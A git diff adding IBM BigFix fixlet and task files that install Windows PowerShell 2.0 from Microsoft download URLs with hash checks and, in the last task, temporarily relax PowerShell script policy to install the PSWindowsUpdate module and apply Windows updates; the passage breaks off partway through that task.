+	download http://download.microsoft.com/download/A/7/5/A75BC017-63CE-47D6-8FA4-AFB5C21BAC54/Windows6.0-KB968930-x86.msu
+	continue if {(size of it = 34059625 AND sha1 of it = "16fd2e93be2e7265821191119ddfc0cdaa6f4243") of file "Windows6.0-KB968930-x86.msu" of folder "__Download"}
+	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x86.msu"}" /quiet /norestart
+
+elseif {((name of it = "Win2003" AND x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/B/D/9/BD9BB1FF-6609-4B10-9334-6D0C58066AA7/WindowsServer2003-KB968930-x64-ENG.exe
+	continue if {(size of it = 10334496 AND sha1 of it = "8ba702aa016e4c5aed581814647f4d55635eff5c") of file "WindowsServer2003-KB968930-x64-ENG.exe" of folder "__Download"}
+	waithidden __Download\WindowsServer2003-KB968930-x64-ENG.exe /quiet /norestart
+
+elseif {((name of it = "Win2003" AND NOT x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/1/1/7/117FB25C-BB2D-41E1-B01E-0FEB0BC72C30/WindowsServer2003-KB968930-x86-ENG.exe
+	continue if {(size of it = 6300960 AND sha1 of it = "843dca5f32b47a3bc36cb4d7f3a92dfd2fcdddb3") of file "WindowsServer2003-KB968930-x86-ENG.exe" of folder "__Download"}
+	waithidden __Download\WindowsServer2003-KB968930-x86-ENG.exe /quiet /norestart
+
+elseif {(((name of it = "Win2008" or (name of it = "WinVista" and product type of it != nt workstation product type)) AND x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/2/8/6/28686477-3242-4E96-9009-30B16BED89AF/Windows6.0-KB968930-x64.msu
+	continue if {(size of it = 35922892 AND sha1 of it = "4de013d593181a2a04217ce3b0e7536ab56995aa") of file "Windows6.0-KB968930-x64.msu" of folder "__Download"}
+	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x64.msu"}" /quiet /norestart
+
+elseif {(((name of it = "Win2008" or (name of it = "WinVista" and product type of it != nt workstation product type)) AND NOT x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/F/9/E/F9EF6ACB-2BA8-4845-9C10-85FC4A69B207/Windows6.0-KB968930-x86.msu
+	continue if {(size of it = 34059625 AND sha1 of it = "16fd2e93be2e7265821191119ddfc0cdaa6f4243") of file "Windows6.0-KB968930-x86.msu" of folder "__Download"}
+	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x86.msu "}" /quiet /norestart
+
+endif
+
+parameter "curExecutionPolicy"="{if exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of (if exists x64 registry then x64 registry else registry) then if exists value "ExecutionPolicy" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of (if exists x64 registry then x64 registry else registry) then (value "ExecutionPolicy" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of (if exists x64 registry then x64 registry else registry) as string) else "" else ""}"
+if {(parameter "curExecutionPolicy" = "") OR (parameter "curExecutionPolicy" = "Restricted")}
+	if {x64 of operating system}
+		regset64 "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]" "ExecutionPolicy"="RemoteSigned"
+	else
+		regset "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]" "ExecutionPolicy"="RemoteSigned"
+	endif
+endif]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action4406">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more about PowerShell v2.0.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/kb/968929</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (3966).bes b/Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (3966).bes
new file mode 100644
index 000000000..ab7c12cc9
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (3966).bes	
@@ -0,0 +1,98 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Windows PowerShell 2.0 Available
+  ID       : 3966
+  Author   : rafansm
+  Domain   : BESC
+  Imported : 2015-01-30T09:49:06
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Windows PowerShell 2.0 Available</Title>
+    <Description><![CDATA[<P>Install Windows PowerShell version 2.0 </P>
+<P>After the installation of PowerShell in Windows 2008 servers it will be required reboot the server.</P>]]></Description>
+    <Relevance>(name of it = &quot;WinXP&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it) OR name of it = &quot;WinXPe&quot;) of operating system AND TRUE</Relevance>
+    <Relevance><![CDATA[NOT ( exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1" whose (value "Install" of it as integer = 1) of registry ) OR ( (exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1" whose (value "Install" of it as integer = 1) of registry) AND (exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" whose (value "PowerShellVersion" of it as string as version < "2.0") of registry) )]]></Relevance>
+    <Category>Update</Category>
+    <Source>rafansm@br.ibm.com</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2015-01-23</SourceReleaseDate>
+    <MIMEField>
+      <Name>IEM GTS Support Team</Name>
+      <Value>PowerShell</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Fri, 23 Jan 2015 13:46:56 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 23 Jan 2015 17:41:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this software.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if {((name of it = "WinXP") OR (name of it = "WinXPe")) of operating system AND TRUE}
+	download http://download.microsoft.com/download/E/C/E/ECE99583-2003-455D-B681-68DB610B44A4/WindowsXP-KB968930-x86-ENG.exe
+	continue if {(size of it = 6156064 AND sha1 of it = "540d661066953d76a6907b6ee0d1cd4531c1e1c6") of file "WindowsXP-KB968930-x86-ENG.exe" of folder "__Download"}
+	wait __Download\WindowsXP-KB968930-x86-ENG.exe /quiet /norestart
+
+elseif {(name of it = "WinVista" AND product type of it = nt workstation product type AND x64 of it) of operating system AND TRUE}
+	download http://download.microsoft.com/download/3/C/8/3C8CF51E-1D9D-4DAA-AAEA-5C48D1CD055C/Windows6.0-KB968930-x64.msu
+	continue if {(size of it = 35922892 AND sha1 of it = "4de013d593181a2a04217ce3b0e7536ab56995aa") of file "Windows6.0-KB968930-x64.msu" of folder "__Download"}
+	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x64.msu"}" /quiet /norestart
+
+elseif {((name of it = "WinVista" AND product type of it = nt workstation product type AND NOT x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/A/7/5/A75BC017-63CE-47D6-8FA4-AFB5C21BAC54/Windows6.0-KB968930-x86.msu
+	continue if {(size of it = 34059625 AND sha1 of it = "16fd2e93be2e7265821191119ddfc0cdaa6f4243") of file "Windows6.0-KB968930-x86.msu" of folder "__Download"}
+	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x86.msu"}" /quiet /norestart
+
+elseif {((name of it = "Win2003" AND x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/B/D/9/BD9BB1FF-6609-4B10-9334-6D0C58066AA7/WindowsServer2003-KB968930-x64-ENG.exe
+	continue if {(size of it = 10334496 AND sha1 of it = "8ba702aa016e4c5aed581814647f4d55635eff5c") of file "WindowsServer2003-KB968930-x64-ENG.exe" of folder "__Download"}
+	waithidden __Download\WindowsServer2003-KB968930-x64-ENG.exe /quiet /norestart
+
+elseif {((name of it = "Win2003" AND NOT x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/1/1/7/117FB25C-BB2D-41E1-B01E-0FEB0BC72C30/WindowsServer2003-KB968930-x86-ENG.exe
+	continue if {(size of it = 6300960 AND sha1 of it = "843dca5f32b47a3bc36cb4d7f3a92dfd2fcdddb3") of file "WindowsServer2003-KB968930-x86-ENG.exe" of folder "__Download"}
+	waithidden __Download\WindowsServer2003-KB968930-x86-ENG.exe /quiet /norestart
+
+elseif {(((name of it = "Win2008" or (name of it = "WinVista" and product type of it != nt workstation product type)) AND x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/2/8/6/28686477-3242-4E96-9009-30B16BED89AF/Windows6.0-KB968930-x64.msu
+	continue if {(size of it = 35922892 AND sha1 of it = "4de013d593181a2a04217ce3b0e7536ab56995aa") of file "Windows6.0-KB968930-x64.msu" of folder "__Download"}
+	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x64.msu"}" /quiet /norestart
+
+elseif {(((name of it = "Win2008" or (name of it = "WinVista" and product type of it != nt workstation product type)) AND NOT x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/F/9/E/F9EF6ACB-2BA8-4845-9C10-85FC4A69B207/Windows6.0-KB968930-x86.msu
+	continue if {(size of it = 34059625 AND sha1 of it = "16fd2e93be2e7265821191119ddfc0cdaa6f4243") of file "Windows6.0-KB968930-x86.msu" of folder "__Download"}
+	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x86.msu "}" /quiet /norestart
+
+endif
+
+parameter "curExecutionPolicy"="{if exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of (if exists x64 registry then x64 registry else registry) then if exists value "ExecutionPolicy" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of (if exists x64 registry then x64 registry else registry) then (value "ExecutionPolicy" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of (if exists x64 registry then x64 registry else registry) as string) else "" else ""}"
+if {(parameter "curExecutionPolicy" = "") OR (parameter "curExecutionPolicy" = "Restricted")}
+	if {x64 of operating system}
+		regset64 "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]" "ExecutionPolicy"="RemoteSigned"
+	else
+		regset "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]" "ExecutionPolicy"="RemoteSigned"
+	endif
+endif]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action4410">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more about PowerShell v2.0.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/kb/968929</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (634).bes b/Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (634).bes
new file mode 100644
index 000000000..8c7f655d2
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (634).bes	
@@ -0,0 +1,91 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Windows PowerShell 2.0 Available
+  ID       : 634
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-24T13:43:56
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Windows PowerShell 2.0 Available</Title>
+    <Description>Install Windows PowerShell version 2.0 </Description>
+    <Relevance>(name of it = &quot;WinXP&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it) OR name of it = &quot;WinXPe&quot;) of operating system AND TRUE</Relevance>
+    <Relevance><![CDATA[NOT ( exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1" whose (value "Install" of it as integer = 1) of registry ) OR ( (exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1" whose (value "Install" of it as integer = 1) of registry) AND (exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" whose (value "PowerShellVersion" of it as string as version < "2.0") of registry) )]]></Relevance>
+    <Category>Update</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2011-04-21</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Oct 2012 21:29:34 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this software.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+//Windows XP and XPe
+if {((name of it = &quot;WinXP&quot;) OR (name of it = &quot;WinXPe&quot;)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/E/C/E/ECE99583-2003-455D-B681-68DB610B44A4/WindowsXP-KB968930-x86-ENG.exe
+	continue if {(size of it = 6156064 AND sha1 of it = &quot;540d661066953d76a6907b6ee0d1cd4531c1e1c6&quot;) of file &quot;WindowsXP-KB968930-x86-ENG.exe&quot; of folder &quot;__Download&quot;}
+	wait __Download\WindowsXP-KB968930-x86-ENG.exe /quiet /norestart
+//Windows Vista x64
+elseif {(name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) of operating system AND TRUE}
+	download http://download.microsoft.com/download/3/C/8/3C8CF51E-1D9D-4DAA-AAEA-5C48D1CD055C/Windows6.0-KB968930-x64.msu
+	continue if {(size of it = 35922892 AND sha1 of it = &quot;4de013d593181a2a04217ce3b0e7536ab56995aa&quot;) of file &quot;Windows6.0-KB968930-x64.msu&quot; of folder &quot;__Download&quot;}
+	wait __Download\Windows6.0-KB968930-x64.msu /quiet /norestart
+//Windows Vista x86
+elseif {((name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/A/7/5/A75BC017-63CE-47D6-8FA4-AFB5C21BAC54/Windows6.0-KB968930-x86.msu
+	continue if {(size of it = 34059625 AND sha1 of it = &quot;16fd2e93be2e7265821191119ddfc0cdaa6f4243&quot;) of file &quot;Windows6.0-KB968930-x86.msu&quot; of folder &quot;__Download&quot;}
+	wait __Download\Windows6.0-KB968930-x86.msu /quiet /norestart
+//Windows Server 2003 x64
+elseif {((name of it = &quot;Win2003&quot; AND x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/B/D/9/BD9BB1FF-6609-4B10-9334-6D0C58066AA7/WindowsServer2003-KB968930-x64-ENG.exe
+	continue if {(size of it = 10334496 AND sha1 of it = &quot;8ba702aa016e4c5aed581814647f4d55635eff5c&quot;) of file &quot;WindowsServer2003-KB968930-x64-ENG.exe&quot; of folder &quot;__Download&quot;}
+	wait __Download\WindowsServer2003-KB968930-x64-ENG.exe /quiet /norestart
+//Windows Server 2003 x86
+elseif {((name of it = &quot;Win2003&quot; AND NOT x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/1/1/7/117FB25C-BB2D-41E1-B01E-0FEB0BC72C30/WindowsServer2003-KB968930-x86-ENG.exe
+	continue if {(size of it = 6300960 AND sha1 of it = &quot;843dca5f32b47a3bc36cb4d7f3a92dfd2fcdddb3&quot;) of file &quot;WindowsServer2003-KB968930-x86-ENG.exe&quot; of folder &quot;__Download&quot;}
+	wait __Download\WindowsServer2003-KB968930-x86-ENG.exe /quiet /norestart
+//Windows 2008 x64
+elseif {(((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/2/8/6/28686477-3242-4E96-9009-30B16BED89AF/Windows6.0-KB968930-x64.msu
+	continue if {(size of it = 35922892 AND sha1 of it = &quot;4de013d593181a2a04217ce3b0e7536ab56995aa&quot;) of file &quot;Windows6.0-KB968930-x64.msu&quot; of folder &quot;__Download&quot;}
+	wait __Download\Windows6.0-KB968930-x64.msu /quiet /norestart
+//Windows 2008 x86
+elseif {(((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/F/9/E/F9EF6ACB-2BA8-4845-9C10-85FC4A69B207/Windows6.0-KB968930-x86.msu
+	continue if {(size of it = 34059625 AND sha1 of it = &quot;16fd2e93be2e7265821191119ddfc0cdaa6f4243&quot;) of file &quot;Windows6.0-KB968930-x86.msu&quot; of folder &quot;__Download&quot;}
+	wait __Download\Windows6.0-KB968930-x86.msu /quiet /norestart
+endif
+//we want to be able to import modules... thus set to remotesigned if it is not set
+parameter &quot;curExecutionPolicy&quot;=&quot;{if exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of (if exists x64 registry then x64 registry else registry) then if exists value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of (if exists x64 registry then x64 registry else registry) then (value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of (if exists x64 registry then x64 registry else registry) as string) else &quot;&quot; else &quot;&quot;}&quot;
+if {(parameter &quot;curExecutionPolicy&quot; = &quot;&quot;) OR (parameter &quot;curExecutionPolicy&quot; = &quot;Restricted&quot;)}
+	if {x64 of operating system}
+		regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;RemoteSigned&quot;
+	else
+		regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;RemoteSigned&quot;
+	endif
+endif</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action872">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more about PowerShell v2.0.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/kb/968929</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Windows Update - Execute Windows Update via PowerShell Install-Module (PS 5.0+ version) (26617).bes b/Sites/Windows Management/Fixlets/Fixlets/Windows Update - Execute Windows Update via PowerShell Install-Module (PS 5.0+ version) (26617).bes
new file mode 100644
index 000000000..58e3bb28f
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Windows Update - Execute Windows Update via PowerShell Install-Module (PS 5.0+ version) (26617).bes	
@@ -0,0 +1,242 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Windows Update - Execute Windows Update via PowerShell Install-Module (PS 5.0+ version)
+  ID       : 26617
+  Author   : rdshift
+  Domain   : BESC
+  Imported : 2019-04-11T12:43:27
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Windows Update - Execute Windows Update via PowerShell Install-Module (PS 5.0+ version)</Title>
+    <Description><![CDATA[<P>This installs the latest Windows updates.</P>
+<P>Last tested on Windows 10 v1803 with PowerShell 5.1.&nbsp; This version requires PS 5.0+ due to module usage.</P>
+<OL>
+<LI>Checks for existing scripting policy LGPO registry item (cannot override GPO)
+<LI>If exists, back up and disable existing policy
+<LI>Install prerequisite: NuGet 2.8.5.201+
+<LI>Install Windows Update PowerShell Module v2.0.0.4 (tested, feel free to drop that requirement)
+<LI>Run Windows Update via newly added module
+<LI>Action 6 is a separate action to uninstall Windows Update PowerShell Module "PSWindowsUpdate" if you would like to scrub the environment.</LI></OL>
+<P>It will not ask questions, and not provide options - it will simply install everything it is able to install in one round.</P>
+<P>This version will NOT install Windows Feature Updates, such as Windows 10 version 1803 to version 1809.</P>
+<P>By running this task you accept the Microsoft TechNet terms of use.</P>
+<P>Module Credit Michal Gajda,&nbsp;source: <A href="https://gallery.technet.microsoft.com/scriptcenter/2d191bcd-3308-4edd-9de2-88dff796b0bc/">https://gallery.technet.microsoft.com/scriptcenter/2d191bcd-3308-4edd-9de2-88dff796b0bc/</A></P>]]></Description>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
+    <Relevance>x64 of operating system</Relevance>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\3&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
+    <Relevance><![CDATA[exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine" whose (value "PowerShellVersion" of it as string as version >= "5.0") of registry]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2018-06-13</SourceReleaseDate>
+    <MIMEField>
+      <Name>bigfixme-added-time</Name>
+      <Value>Mon, 18 Jun 2018 12:07:16 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Tue, 26 Jun 2018 19:07:42 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-keywords</Name>
+      <Value>Windows Update Powershell Module MichalGajda</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-ID</Name>
+      <Value>25528</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-versions-ids</Name>
+      <Value>25522,25523,25524,25527</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 11 Apr 2019 19:38:58 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to install Windows + Microsoft Updates without rebooting or notifying the user.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Set Powershell
+parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry}&quot;
+// Disable script protection
+if {exist (value &quot;EnableScripts&quot; of it = &quot;0&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
+wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /f
+wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /t REG_DWORD /d 00000001 /f
+endif
+
+// Disable execution policy in scope of current user (system)
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force&quot;
+
+// Install PowerShell Modules from PSGallery
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force&quot;
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-Module -Name PSWindowsUpdate -RequiredVersion 2.0.0.4 -Force&quot;
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Import-Module -Name PSWindowsUpdate -Force&quot;
+
+// Check for and install Windows Updates
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Get-WindowsUpdate -Install -MicrosoftUpdate -AcceptAll -IgnoreReboot -Confirm:$false&quot;
+
+// Restrict execution policy
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Restricted -Force&quot;
+
+// Re-enable script protection
+if {exist (value &quot;EnableScriptsbackup&quot; of it = &quot;1&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
+wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /f
+wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /t REG_DWORD /d 00000000 /f
+endif</ActionScript>
+    </DefaultAction>
+    <Action ID="Action27888">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to install Windows + Microsoft Updates and automatically reboot without asking to reboot.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Set Powershell
+parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry}&quot;
+// Disable script protection
+if {exist (value &quot;EnableScripts&quot; of it = &quot;0&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
+wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /f
+wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /t REG_DWORD /d 00000001 /f
+endif
+
+// Disable execution policy in scope of current user (system)
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force&quot;
+
+// Install PowerShell Modules from PSGallery
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force&quot;
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-Module -Name PSWindowsUpdate -RequiredVersion 2.0.0.4 -Force&quot;
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Import-Module -Name PSWindowsUpdate -Force&quot;
+
+// Check for and install Windows Updates
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Get-WindowsUpdate -Install -MicrosoftUpdate -AcceptAll -AutoReboot -Confirm:$false&quot;
+
+// Restrict execution policy
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Restricted -Force&quot;
+
+// Re-enable script protection
+if {exist (value &quot;EnableScriptsbackup&quot; of it = &quot;1&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
+wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /f
